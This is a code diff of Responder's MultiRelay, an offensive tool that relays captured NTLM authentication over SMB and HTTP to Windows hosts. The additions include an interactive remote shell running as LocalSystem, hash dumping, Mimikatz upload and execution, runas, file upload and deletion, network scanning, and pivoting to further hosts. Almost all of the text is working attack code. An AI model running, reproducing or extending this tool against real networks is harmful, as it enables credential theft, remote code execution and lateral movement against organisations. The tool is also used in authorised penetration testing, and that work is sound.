NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
@@ -219,21 +262,22 @@ class HTTPProxyRelay(BaseRequestHandler):
|
|||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
||||||
|
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
print "[+] SMB Session Auth sent."
|
print "[+] SMB Session Auth sent."
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
smbdata = s.recv(2048)
|
smbdata = s.recv(2048)
|
||||||
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
||||||
if RunCmd is None:
|
if RunCmd is None:
|
||||||
s.close()
|
s.close()
|
||||||
return None
|
self.request.close()
|
||||||
|
return None
|
||||||
|
|
||||||
else:
|
else:
|
||||||
##Any other type of request, send a 407.
|
##Any other type of request, send a 407.
|
||||||
@@ -254,6 +298,8 @@ class HTTPRelay(BaseRequestHandler):
|
|||||||
#Don't handle requests while a shell is open. That's the goal after all.
|
#Don't handle requests while a shell is open. That's the goal after all.
|
||||||
if IsShellOpen():
|
if IsShellOpen():
|
||||||
return None
|
return None
|
||||||
|
if IsPivotOn():
|
||||||
|
return None
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
@@ -296,7 +342,7 @@ class HTTPRelay(BaseRequestHandler):
|
|||||||
## Send HTTP Response.
|
## Send HTTP Response.
|
||||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
||||||
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
|
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
|
||||||
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
@@ -313,7 +359,7 @@ class HTTPRelay(BaseRequestHandler):
|
|||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
||||||
|
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
@@ -326,8 +372,9 @@ class HTTPRelay(BaseRequestHandler):
|
|||||||
smbdata = s.recv(2048)
|
smbdata = s.recv(2048)
|
||||||
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
|
||||||
if RunCmd is None:
|
if RunCmd is None:
|
||||||
s.close()
|
s.close()
|
||||||
return None
|
self.request.close()
|
||||||
|
return None
|
||||||
|
|
||||||
else:
|
else:
|
||||||
##Any other type of request, send a 407.
|
##Any other type of request, send a 407.
|
||||||
@@ -352,7 +399,6 @@ class SMBRelay(BaseRequestHandler):
|
|||||||
raise
|
raise
|
||||||
|
|
||||||
s = ConnectToTarget()
|
s = ConnectToTarget()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
|
|
||||||
@@ -368,7 +414,7 @@ class SMBRelay(BaseRequestHandler):
|
|||||||
## Make sure it's not a Kerberos auth.
|
## Make sure it's not a Kerberos auth.
|
||||||
if data.find("NTLM") is not -1:
|
if data.find("NTLM") is not -1:
|
||||||
## Start with nego protocol + session setup negotiate to our target.
|
## Start with nego protocol + session setup negotiate to our target.
|
||||||
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s)
|
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
||||||
|
|
||||||
## Make sure it's not a Kerberos auth.
|
## Make sure it's not a Kerberos auth.
|
||||||
if data.find("NTLM") is not -1:
|
if data.find("NTLM") is not -1:
|
||||||
@@ -394,21 +440,23 @@ class SMBRelay(BaseRequestHandler):
|
|||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
self.request.send(buffer1)
|
self.request.send(buffer1)
|
||||||
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
|
|
||||||
s.close()
|
s.close()
|
||||||
return None
|
return None
|
||||||
|
|
||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host)
|
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
##Got the ntlm message 3, send it over to SMB.
|
##Got the ntlm message 3, send it over to SMB.
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
t = data[36:]#Final relay.
|
t = data[36:]#Final relay.
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
print "[+] SMB Session Auth sent."
|
if Pivoting[0] == "1":
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print "[+] SMB Session Auth sent."
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
smbdata = s.recv(4096)
|
smbdata = s.recv(4096)
|
||||||
#We're all set, dropping into shell.
|
#We're all set, dropping into shell.
|
||||||
@@ -428,32 +476,44 @@ class SMBRelay(BaseRequestHandler):
|
|||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
self.request.send(buffer1)
|
self.request.send(buffer1)
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
s.close()
|
self.request.close()
|
||||||
return None
|
return None
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
s.close()
|
|
||||||
self.request.close()
|
self.request.close()
|
||||||
##No need to print anything (timeouts, rst, etc) to the user console..
|
##No need to print anything (timeouts, rst, etc) to the user console..
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
#Interface starts here.
|
#Interface starts here.
|
||||||
def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
def RunShellCmd(data, s, clientIP, Target, Username, Domain):
|
||||||
|
|
||||||
|
#Let's declare our globals here..
|
||||||
|
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
|
||||||
|
global Pivoting
|
||||||
|
#Update Host, when pivoting is used.
|
||||||
|
global Host
|
||||||
|
#Make sure we don't open 2 shell at the same time..
|
||||||
|
global ShellOpen
|
||||||
|
ShellOpen = ["Shell is open"]
|
||||||
|
|
||||||
# On this block we do some verifications before dropping the user into the shell.
|
# On this block we do some verifications before dropping the user into the shell.
|
||||||
if data[8:10] == "\x73\x6d":
|
if data[8:10] == "\x73\x6d":
|
||||||
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
|
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
|
||||||
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
||||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
||||||
|
del ShellOpen[:]
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if data[8:10] == "\x73\x8d":
|
if data[8:10] == "\x73\x8d":
|
||||||
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
|
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
|
||||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
||||||
|
del ShellOpen[:]
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if data[8:10] == "\x73\x5e":
|
if data[8:10] == "\x73\x5e":
|
||||||
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
|
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
|
||||||
|
del ShellOpen[:]
|
||||||
return False
|
return False
|
||||||
|
|
||||||
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
|
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
|
||||||
@@ -461,7 +521,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
|
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
|
||||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
@@ -470,20 +530,28 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
|
|
||||||
## Nope he doesn't.
|
## Nope he doesn't.
|
||||||
if data[8:10] == "\x75\x22":
|
if data[8:10] == "\x75\x22":
|
||||||
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
if Pivoting[0] == "1":
|
||||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
pass
|
||||||
|
else:
|
||||||
|
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
||||||
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
|
||||||
|
del ShellOpen[:]
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
|
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
|
||||||
if data[8:10] == "\x75\xcc":
|
if data[8:10] == "\x75\xcc":
|
||||||
print "[+] Tree Connect AndX denied. Bad Network Name returned."
|
print "[+] Tree Connect AndX denied. Bad Network Name returned."
|
||||||
|
del ShellOpen[:]
|
||||||
return False
|
return False
|
||||||
|
|
||||||
## Tree Connect on C$ is successfull.
|
## Tree Connect on C$ is successfull.
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == "\x75\x00":
|
||||||
print "[+] Looks good, "+Username+" has admin rights on C$."
|
if Pivoting[0] == "1":
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print "[+] Looks good, "+Username+" has admin rights on C$."
|
||||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
@@ -495,19 +563,21 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
print "[+] Authenticated."
|
print "[+] Authenticated."
|
||||||
if OneCommand != None:
|
if OneCommand != None:
|
||||||
print "[+] Running command: %s"%(OneCommand)
|
print "[+] Running command: %s"%(OneCommand)
|
||||||
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
|
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
|
||||||
if Dump:
|
if Dump:
|
||||||
print "[+] Dumping hashes"
|
print "[+] Dumping hashes"
|
||||||
DumpHashes(data, s, Host)
|
DumpHashes(data, s, Target[0])
|
||||||
os._exit(1)
|
os._exit(1)
|
||||||
|
|
||||||
## Drop into the shell.
|
## Drop into the shell.
|
||||||
if data[8:10] == "\x75\x00" and OneCommand == None:
|
if data[8:10] == "\x75\x00" and OneCommand == None:
|
||||||
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
if Pivoting[0] == "1":
|
||||||
ShowHelp()
|
pass
|
||||||
#Make sure we don't open 2 shell at the same time..
|
else:
|
||||||
global ShellOpen
|
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
||||||
ShellOpen = ["Shell is open"]
|
ShowHelp()
|
||||||
|
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
|
||||||
|
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
|
||||||
@@ -515,50 +585,166 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == "\x75\x00":
|
||||||
#start a thread for raw_input, so we can do other stuff while we wait for a command.
|
#start a thread for raw_input, so we can do other stuff while we wait for a command.
|
||||||
t = Thread(target=get_command, args=())
|
t = Thread(target=get_command, args=())
|
||||||
|
t.daemon = True
|
||||||
t.start()
|
t.start()
|
||||||
t.join()
|
|
||||||
#For now, this is not functionning as expected. The SMB echos are killing the connection
|
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
|
||||||
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself.
|
#to maintain MultiRelay alive and well.
|
||||||
#So let's use the tree connects wait (average time before timeout:5-12h)
|
count = 0
|
||||||
"""
|
DoEvery = random.randint(10, 45)
|
||||||
while any(x in Cmd for x in Cmd) is False:
|
while any(x in Cmd for x in Cmd) is False:
|
||||||
|
count = count+1
|
||||||
SMBKeepAlive(s, data)
|
SMBKeepAlive(s, data)
|
||||||
time.sleep(20)
|
if count == DoEvery:
|
||||||
pass
|
DumbSMBChain(data, s, Target[0])
|
||||||
"""
|
count = 0
|
||||||
|
if any(x in Cmd for x in Cmd) is True:
|
||||||
|
break
|
||||||
|
|
||||||
##Grab the commands. Cmd is global in get_command().
|
##Grab the commands. Cmd is global in get_command().
|
||||||
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0])
|
DumpReg = re.findall('^dump', Cmd[0])
|
||||||
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0])
|
Read = re.findall('^read (.*)$', Cmd[0])
|
||||||
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0])
|
RegDump = re.findall('^regdump (.*)$', Cmd[0])
|
||||||
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0])
|
Get = re.findall('^get (.*)$', Cmd[0])
|
||||||
|
Upload = re.findall('^upload (.*)$', Cmd[0])
|
||||||
|
Delete = re.findall('^delete (.*)$', Cmd[0])
|
||||||
|
RunAs = re.findall('^runas (.*)$', Cmd[0])
|
||||||
|
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
|
||||||
|
Mimi = re.findall('^mimi (.*)$', Cmd[0])
|
||||||
|
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
|
||||||
|
Scan = re.findall('^scan (.*)$', Cmd[0])
|
||||||
|
Pivot = re.findall('^pivot (.*)$', Cmd[0])
|
||||||
|
Help = re.findall('^help', Cmd[0])
|
||||||
|
|
||||||
if Cmd[0] == "exit":
|
if Cmd[0] == "exit":
|
||||||
print "[+]Returning in relay mode."
|
print "[+] Returning in relay mode."
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
del ShellOpen[:]
|
del ShellOpen[:]
|
||||||
return None
|
return None
|
||||||
|
|
||||||
##For all of the following commands we send the data (var:data) returned by the
|
##For all of the following commands we send the data (var: data) returned by the
|
||||||
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
|
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
|
||||||
##We also clean up the command array when done.
|
##We also clean up the command array when done.
|
||||||
if Cmd[0] == "dump":
|
if DumpReg:
|
||||||
data = DumpHashes(data, s, Host)
|
data = DumpHashes(data, s, Target[0])
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
|
|
||||||
if Read:
|
if Read:
|
||||||
File = Read[0]
|
File = Read[0]
|
||||||
data = ReadFile(data, s, File, Host)
|
data = ReadFile(data, s, File, Target[0])
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
|
|
||||||
if Get:
|
if Get:
|
||||||
File = Get[0]
|
File = Get[0]
|
||||||
data = GetAfFile(data, s, File, Host)
|
data = GetAfFile(data, s, File, Target[0])
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Upload:
|
||||||
|
File = Upload[0]
|
||||||
|
if os.path.isfile(File):
|
||||||
|
FileSize, FileContent = UploadContent(File)
|
||||||
|
File = os.path.basename(File)
|
||||||
|
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print File+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Delete:
|
||||||
|
Filename = Delete[0]
|
||||||
|
data = DeleteFile(data, s, Filename, Target[0])
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
|
|
||||||
if RegDump:
|
if RegDump:
|
||||||
Key = RegDump[0]
|
Key = RegDump[0]
|
||||||
data = SaveAKey(data, s, Host, Key)
|
data = SaveAKey(data, s, Target[0], Key)
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if RunAs:
|
||||||
|
if os.path.isfile(RunAsFileName):
|
||||||
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
||||||
|
FileName = os.path.basename(RunAsFileName)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
Exec = RunAs[0]
|
||||||
|
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print RunAsFileName+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if LCmd:
|
||||||
|
subprocess.call(LCmd[0], shell=True)
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Mimi:
|
||||||
|
if os.path.isfile(MimikatzFilename):
|
||||||
|
FileSize, FileContent = UploadContent(MimikatzFilename)
|
||||||
|
FileName = os.path.basename(MimikatzFilename)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
Exec = Mimi[0]
|
||||||
|
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print MimikatzFilename+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Mimi32:
|
||||||
|
if os.path.isfile(Mimikatzx86Filename):
|
||||||
|
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
|
||||||
|
FileName = os.path.basename(Mimikatzx86Filename)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
Exec = Mimi32[0]
|
||||||
|
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print Mimikatzx86Filename+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Pivot:
|
||||||
|
if Pivot[0] == Target[0]:
|
||||||
|
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
|
||||||
|
del Pivot[:]
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
if ShowSigning(Pivot[0]):
|
||||||
|
del Pivot[:]
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
if os.path.isfile(RunAsFileName):
|
||||||
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
||||||
|
FileName = os.path.basename(RunAsFileName)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
RunAsPath = '%windir%\\Temp\\'+FileName
|
||||||
|
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
|
||||||
|
|
||||||
|
if Status == True:
|
||||||
|
print "[+] Pivoting to %s."%(Pivot[0])
|
||||||
|
if os.path.isfile(RunAsFileName):
|
||||||
|
FileSize, FileContent = UploadContent(RunAsFileName)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
#shell will close.
|
||||||
|
del ShellOpen[:]
|
||||||
|
#update the new host.
|
||||||
|
Host = [Pivot[0]]
|
||||||
|
#we're in pivoting mode.
|
||||||
|
Pivoting = ["1"]
|
||||||
|
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
s.close()
|
||||||
|
return None
|
||||||
|
|
||||||
|
if Status == False:
|
||||||
|
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
|
||||||
|
del Cmd[:]
|
||||||
|
del Pivot[:]
|
||||||
|
else:
|
||||||
|
print RunAsFileName+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Scan:
|
||||||
|
LocalIp = FindLocalIp()
|
||||||
|
Range = ConvertToClassC(Target[0], Scan[0])
|
||||||
|
RunPivotScan(Range, Target[0])
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
|
|
||||||
if Help:
|
if Help:
|
||||||
@@ -568,15 +754,23 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
##Let go with the command.
|
##Let go with the command.
|
||||||
if any(x in Cmd for x in Cmd):
|
if any(x in Cmd for x in Cmd):
|
||||||
if len(Cmd[0]) > 1:
|
if len(Cmd[0]) > 1:
|
||||||
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host)
|
if os.path.isfile(SysSVCFileName):
|
||||||
del Cmd[:]
|
FileSize, FileContent = UploadContent(SysSVCFileName)
|
||||||
|
FileName = os.path.basename(SysSVCFileName)
|
||||||
|
RunPath = '%windir%\\Temp\\'+FileName
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print SysSVCFileName+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
if data is None:
|
if data is None:
|
||||||
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n"
|
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
|
||||||
|
|
||||||
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
|
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
|
||||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")#
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
@@ -613,6 +807,11 @@ def main():
|
|||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
except (KeyboardInterrupt, SystemExit):
|
except (KeyboardInterrupt, SystemExit):
|
||||||
|
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
|
||||||
|
##This is a bug in python readline when dealing with raw_input()..
|
||||||
|
if ShellOpen:
|
||||||
|
os.system('stty sane')
|
||||||
|
##Then exit
|
||||||
sys.exit("\rExiting...")
|
sys.exit("\rExiting...")
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
|
|||||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
|
class SMBTreeDisconnect(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc","\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
class SMBNTCreateData(Packet):
|
class SMBNTCreateData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x18"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Reserved2", "\x00"),
|
||||||
|
("FileNameLen", "\x07\x00"),
|
||||||
|
("CreateFlags", "\x16\x00\x00\x00"),
|
||||||
|
("RootFID", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\x9F\x01\x02\x00"),
|
||||||
|
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("FileAttrib", "\x00\x00\x00\x00"),
|
||||||
|
("ShareAccess", "\x03\x00\x00\x00"),
|
||||||
|
